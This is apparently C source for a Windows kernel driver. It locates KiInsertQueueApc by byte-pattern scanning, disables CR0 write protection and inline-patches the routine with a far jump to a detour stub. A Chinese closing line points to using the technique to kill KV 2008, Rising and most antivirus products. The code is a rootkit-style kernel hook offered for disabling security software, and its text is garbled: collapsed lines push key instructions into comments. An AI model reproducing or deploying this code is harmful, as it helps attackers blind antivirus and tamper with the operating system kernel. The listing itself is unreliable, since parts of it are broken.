ULONG g_KiInsertQueueApc; char g_oricode[8]; ULONG g_uCr0;char *non_paged_memory;
void WPOFF() {
ULONG uAttr; _asm {
push eax; mov eax, cr0; mov uAttr, eax;
and eax, 0FFFEFFFFh; // CR0 16 BIT = 0 mov cr0, eax; pop eax; cli };
g_uCr0 = uAttr; //保存原有的 CRO 屬性 }
VOID WPON() { _asm { sti push eax;
mov eax, g_uCr0; //恢復原有 CR0 屬性 mov cr0, eax; pop eax; }; }
__declspec(naked) my_function_detour_KiInsertQueueApc() { __asm {
mov edi,edi push ebp mov ebp, esp push ecx
mov eax,ecx _emit 0xEA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0x08 _emit 0x00 } }
ULONG GetFunctionAddr( IN PCWSTR FunctionName) {
UNICODE_STRING UniCodeFunctionName;
RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName ); }
//根据特征值,从KeInsertQueueApc搜索中搜索KiInsertQueueApc ULONG FindKiInsertQueueApcAddress() {
char * Addr_KeInsertQueueApc = 0; int i = 0;
char Findcode[] = { 0xE8, 0xcc, 0x29, 0x00, 0x00 }; ULONG Addr_KiInsertQueueApc = 0;
Addr_KeInsertQueueApc = (char *) GetFunctionAddr(L\"KeInsertQueueApc\"); for(i = 0; i < 100; i ++) {
if( Addr_KeInsertQueueApc[i] == Findcode[0] && Addr_KeInsertQueueApc[i + 1] == Findcode[1] && Addr_KeInsertQueueApc[i + 2] == Findcode[2] && Addr_KeInsertQueueApc[i + 3] == Findcode[3] && Addr_KeInsertQueueApc[i + 4] == Findcode[4] ) {
Addr_KiInsertQueueApc = (ULONG)&Addr_KeInsertQueueApc[i] + 0x29cc + 5; break; } }
return Addr_KiInsertQueueApc; }
VOID DetourFunctionKiInsertQueueApc()
{
char *actual_function = (char *)g_KiInsertQueueApc; unsigned long detour_address; unsigned long reentry_address; KIRQL oldIrql; int i = 0;
char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 };
reentry_address = ((unsigned long)g_KiInsertQueueApc) + 8;
non_paged_memory = ExAllocatePool(NonPagedPool, 256);
for(i=0;i<256;i++) {
((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_KiInsertQueueApc)[i]; }
detour_address = (unsigned long)non_paged_memory;
*( (unsigned long *)(&newcode[1]) ) = detour_address;
for(i=0;i<200;i++) {
if( (0xAA == ((unsigned char *)non_paged_memory)[i]) && (0xAA == ((unsigned char *)non_paged_memory)[i+1]) && (0xAA == ((unsigned char *)non_paged_memory)[i+2]) && (0xAA == ((unsigned char *)non_paged_memory)[i+3])) {
*( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address; break; } }
oldIrql = KeRaiseIrqlToDpcLevel(); for(i=0;i < 8;i++) {
g_oricode[i] = actual_function[i]; actual_function[i] = newcode[i]; }
KeLowerIrql(oldIrql);
}
VOID UnDetourFunction() {
char *actual_function = (char *)g_KiInsertQueueApc; KIRQL oldIrql; int i = 0;
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();
for(i=0;i < 8;i++) {
actual_function[i] = g_oricode[i]; }
KeLowerIrql(oldIrql); WPON();
ExFreePool(non_paged_memory); }
VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) {
DbgPrint(\"My Driver Unloaded!\"); UnDetourFunction(); }
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) {
DbgPrint(\"My Driver Loaded!\");
theDriverObject->DriverUnload = OnUnload;
g_KiInsertQueueApc = FindKiInsertQueueApcAddress(); DetourFunctionKiInsertQueueApc();
return STATUS_SUCCESS; }
补充: 实际应用文章,可以参考sudami的干掉KV 2008, Rising等大部分杀软